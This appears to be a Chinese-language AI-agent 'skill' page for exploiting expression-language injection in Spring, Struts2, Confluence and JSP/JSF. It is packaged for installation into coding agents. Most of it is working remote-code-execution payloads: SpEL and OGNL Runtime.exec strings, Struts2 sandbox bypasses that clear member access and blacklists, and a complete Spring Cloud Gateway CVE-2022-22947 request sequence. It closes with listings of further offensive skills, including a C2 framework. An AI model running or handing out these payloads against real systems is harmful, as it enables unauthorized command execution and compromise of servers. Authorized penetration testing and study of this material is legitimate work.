skills/exploit/web-method/expression-language-injection/SKILL.md
表达式语言(EL)注入方法论。当目标使用 Spring(SpEL)、Struts2(OGNL)、Confluence(OGNL)、JSP/JSF(Java EL) 且存在用户可控的表达式求值时使用。覆盖多语法探测与区分(${7*7}/#{7*7}/%{7*7})、SpEL RCE(Runtime.exec/ProcessBuilder/反射绕沙箱)、Spring Cloud Gateway CVE-2022-22947、OGNL RCE(_memberAccess 操纵/OgnlUtil 黑名单清除)、Struts2 经典 CVE(S2-045/S2-046/S2-016/S2-057)、Confluence CVE-2021-26084、Java EL RCE。任何涉及 Spring/Struts2/Confluence/JSF 框架的表达式注入测试都应使用此 skill
npx skillsauth add wgpsec/AboutSecurity expression-language-injectionInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
关键区分:SSTI 针对模板渲染引擎;EL 注入针对 Java 框架中嵌入的表达式求值器。
${7*7} → 49 = SpEL、OGNL 或 Java EL
#{7*7} → 49 = SpEL(替代语法)或 JSF EL
%{7*7} → 49 = OGNL(Struts2)
${T(java.lang.Math).random()} → 随机浮点数 = SpEL 确认
%{#context} → 对象 dump = OGNL 确认
| ${7*7} 响应 | %{7*7} 响应 | 引擎 |
|---|---|---|
| 49 | 原样 %{7*7} | SpEL 或 Java EL |
| 原样 ${7*7} | 49 | OGNL(Struts2) |
| 49 | 49 | 两者可能同时存在 |
@Value("${...}") 注解@PreAuthorize)th:text="${...}"(配合 __${...}__ 预处理时)@Query 中的 SpEL${T(java.lang.Runtime).getRuntime().exec("id")}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
通过 actuator 添加含 SpEL 过滤器的恶意路由:
# 步骤 1: 添加路由(SpEL 在 filter 中)
POST /actuator/gateway/routes/hacktest
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
}
}],
"uri": "http://example.com",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
}
# 步骤 2: 刷新路由
POST /actuator/gateway/refresh
# 步骤 3: 触发路由
GET /hackpath
# 响应头 "Result" 包含命令输出
# 步骤 4: 清理
DELETE /actuator/gateway/routes/hacktest
POST /actuator/gateway/refresh
当使用 SimpleEvaluationContext(限制 T() 操作符)时:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
ognl.Ognl.getValue()/ognl.Ognl.setValue() 的 Java 应用%{(#cmd='id').(#[email protected]@getRuntime()).(#rt.exec(#cmd))}
Struts2 通过 SecurityMemberAccess 限制 OGNL。经典绕过:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
较新 Struts2 版本使用类/包黑名单,通过清除 excludedClasses 和 excludedPackageNames 绕过:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#[email protected]@getRuntime().exec(#cmd))}
| CVE | 向量 | Payload 位置 |
|---|---|---|
| S2-045(CVE-2017-5638) | Content-Type header | Content-Type 中 %{...} |
| S2-046(CVE-2017-5638) | Multipart filename | 上传文件名中 OGNL |
| S2-016(CVE-2013-2251) | redirect:/redirectAction: 前缀 | URL 参数 |
| S2-048(CVE-2017-9791) | Struts Showcase | ActionMessage 中 OGNL |
| S2-057(CVE-2018-11776) | Namespace OGNL | URL 路径 |
Confluence Server 通过 queryString 或 action 参数允许 OGNL 注入:
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded
queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
# URL 解码: \u0027+{3*3}+\u0027
# 如果响应包含 9 → 确认存在 OGNL 注入
# 升级到 Runtime.exec 实现 RCE
${expression} 和 #{expression}// Java EL + Runtime:
${Runtime.getRuntime().exec("id")}
// 通过 pageContext(JSP):
${pageContext.request.getServletContext().getClassLoader()}
// 反射方式:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
输入反射且 ${7*7} 返回 49?
├── Java 应用?
│ ├── Struts2?→ 尝试 %{...} OGNL payload
│ │ └── 检查 Content-Type 注入(S2-045)
│ ├── Spring?→ 尝试 T(java.lang.Runtime) SpEL
│ │ └── 检查 /actuator/gateway(Spring Cloud Gateway)
│ ├── Confluence?→ 尝试 OGNL via action 参数
│ └── JSP/JSF?→ 尝试 Java EL payload
│
├── 错误信息暴露框架?
│ ├── "ognl.OgnlException" → OGNL
│ ├── "SpelEvaluationException" → SpEL
│ └── "javax.el.ELException" → Java EL
│
└── 被沙箱阻止?
├── OGNL: 清除 _memberAccess / excludedClasses
├── SpEL: 反射绕过 SimpleEvaluationContext
└── 尝试替代执行方式(ProcessBuilder, ScriptEngine)
# SpEL RCE:
${T(java.lang.Runtime).getRuntime().exec("id")}
# OGNL RCE (Struts2):
%{(#[email protected]@getRuntime()).(#rt.exec('id'))}
# OGNL + 沙箱绕过:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@getRuntime()).(#rt.exec('id'))}
# Java EL RCE:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# Confluence CVE-2021-26084 探测:
queryString=\u0027%2b{3*3}%2b\u0027
# Spring Cloud Gateway CVE-2022-22947:
POST /actuator/gateway/routes/x → SpEL in filter args
POST /actuator/gateway/refresh
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能